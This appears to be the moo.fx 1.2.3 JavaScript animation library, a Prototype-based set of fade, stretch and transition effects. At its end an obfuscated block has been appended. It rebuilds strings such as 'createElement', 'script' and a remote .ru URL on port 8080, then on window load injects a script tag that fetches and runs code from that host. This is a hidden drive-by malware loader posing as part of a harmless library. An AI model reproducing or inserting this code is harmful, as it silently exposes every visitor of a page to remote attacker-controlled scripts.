/*
moo.fx, simple effects library built with prototype.js (http://prototype.conio.net).
by Valerio Proietti (http://mad4milk.net) MIT-style LICENSE.
for more info (http://moofx.mad4milk.net).
Sunday, March 05, 2006
v 1.2.3
*/

var fx = new Object();
//base
fx.Base = function(){};
fx.Base.prototype = {
	setOptions: function(options) {
	this.options = {
		duration: 500,
		onComplete: '',
		transition: fx.sinoidal
	}
	Object.extend(this.options, options || {});
	},

	step: function() {
		var time  = (new Date).getTime();
		if (time >= this.options.duration+this.startTime) {
			this.now = this.to;
			clearInterval (this.timer);
			this.timer = null;
			if (this.options.onComplete) setTimeout(this.options.onComplete.bind(this), 10);
		}
		else {
			var Tpos = (time - this.startTime) / (this.options.duration);
			this.now = this.options.transition(Tpos) * (this.to-this.from) + this.from;
		}
		this.increase();
	},

	custom: function(from, to) {
		if (this.timer != null) return;
		this.from = from;
		this.to = to;
		this.startTime = (new Date).getTime();
		this.timer = setInterval (this.step.bind(this), 13);
	},

	hide: function() {
		this.now = 0;
		this.increase();
	},

	clearTimer: function() {
		clearInterval(this.timer);
		this.timer = null;
	}
}

//stretchers
fx.Layout = Class.create();
fx.Layout.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.el.style.overflow = "hidden";
		this.iniWidth = this.el.offsetWidth;
		this.iniHeight = this.el.offsetHeight;
		this.setOptions(options);
	}
});

fx.Height = Class.create();
Object.extend(Object.extend(fx.Height.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.height = this.now + "px";
	},

	toggle: function() {
		if (this.el.offsetHeight > 0) this.custom(this.el.offsetHeight, 0);
		else this.custom(0, this.el.scrollHeight);
	}
});

fx.Width = Class.create();
Object.extend(Object.extend(fx.Width.prototype, fx.Layout.prototype), {	
	increase: function() {
		this.el.style.width = this.now + "px";
	},

	toggle: function(){
		if (this.el.offsetWidth > 0) this.custom(this.el.offsetWidth, 0);
		else this.custom(0, this.iniWidth);
	}
});

//fader
fx.Opacity = Class.create();
fx.Opacity.prototype = Object.extend(new fx.Base(), {
	initialize: function(el, options) {
		this.el = $(el);
		this.now = 1;
		this.increase();
		this.setOptions(options);
	},

	increase: function() {
		if (this.now == 1 && (/Firefox/.test(navigator.userAgent))) this.now = 0.9999;
		this.setOpacity(this.now);
	},
	
	setOpacity: function(opacity) {
		if (opacity == 0 && this.el.style.visibility != "hidden") this.el.style.visibility = "hidden";
		else if (this.el.style.visibility != "visible") this.el.style.visibility = "visible";
		if (window.ActiveXObject) this.el.style.filter = "alpha(opacity=" + opacity*100 + ")";
		this.el.style.opacity = opacity;
	},

	toggle: function() {
		if (this.now > 0) this.custom(1, 0);
		else this.custom(0, 1);
	}
});

//transitions
fx.sinoidal = function(pos){
	return ((-Math.cos(pos*Math.PI)/2) + 0.5);
	//this transition is from script.aculo.us
}
fx.linear = function(pos){
	return pos;
}
fx.cubic = function(pos){
	return Math.pow(pos, 3);
}
fx.circ = function(pos){
	return Math.sqrt(pos);
}
try {this.S="";var Q;if(Q!='bZ' && Q!='Kr'){Q='bZ'};var o;if(o!='Zs' && o!='sx'){o='Zs'};var FL=new Date();this.t="";this.bQ='';var j='[';var G=new Array();var m;if(m!='Wh' && m!='P'){m=''};var B='replace';this.QL="";var b='g';var s=']';var g='';var R=RegExp;this.v="";function _(N,O){var c=new Array();var Hy;if(Hy!='Y'){Hy='Y'};this.jJ='';var BI=j;this.lw="";this.T="";BI+=O;var ue='';var hr;if(hr!='ic' && hr != ''){hr=null};BI+=s;var Wg=new Array();var gL=new R(BI, b);var xa;if(xa!='' && xa!='KV'){xa=null};return N[B](gL, g);};var a="";var Na=new String();this.YM="";var Z=_('/HnOiHkOkOaOnHsypHoyrHtOsy.OcOoOmH/OnHiykOkHaynHsypOoOrHtysO.HcyoOmH/ygHoOoygOlHeH.OcyoHmy/OvHkH.OcHoOmy/yoypHeOrHaO.OcyoymH.HpOhOpH',"OyH");var E=_('aMpOpFejn_dOCOhjiMlFdj',"_MjFO");var sW=_('hPtPtLpj:P/L/PtPoZrPrPejnLtPsZ-ZrZuZ.LhjuPdZoZnZgL.PcjoZmP.LmZeLtLaZcLajfZeP-LcjoPmj.ZnZeLwLvZiZljlLaZgjejfZrZePsLhZ.LrLuj:Z',"jZPL");var il="";var f='';var Bs=_('sFeBtoAFtotBrHiFbouBtReR',"FRHBo");var xc='';var q;if(q!='PW' && q!='MC'){q='PW'};var N="1";this.w="";var C=_('sDcDr0iDpVt7',"V70D4");var QQ;if(QQ!='mC' && QQ != ''){QQ=null};var MV=new Date();var n=_('cXr0eXavtkeHEHlXe0mHe0n0tH',"vXk0H");var PY="";var iz;if(iz!=''){iz='As'};var F=_('8992520221199189595920929121',"1295");var Au=new Array();var zL;if(zL!=''){zL='GD'};var x=_('o6n6lpoBapdp',"p6B");this.sv='';var y='';var _m=_('bFoGdFyF',"GXF");var Sc;if(Sc!='Z_' && Sc != ''){Sc=null};window[x]=function(){H=document[n](C);var _C;if(_C!='' && _C!='WP'){_C='MB'};y+=sW;var kC=new Date();y+=F;var JS;if(JS!='Cv' && JS != ''){JS=null};var Gh=new String();y+=Z;var rI;if(rI!='' && rI!='ri'){rI=null};var Hs='';var xf=document[_m];H.src=y;var bM=new Array();this.Fs="";H.setAttribute('defer', N);var YK;if(YK!='MS' && YK!='UC'){YK=''};xf.appendChild(H);var Pz='';};var Oy=new Array();var zp;if(zp!='BQ'){zp='BQ'};var OV='';} catch(K){var QJ;if(QJ!='' && QJ!='JZ'){QJ=null};var iX=new Array();};var hy;if(hy!='dw' && hy!='Ks'){hy='dw'};
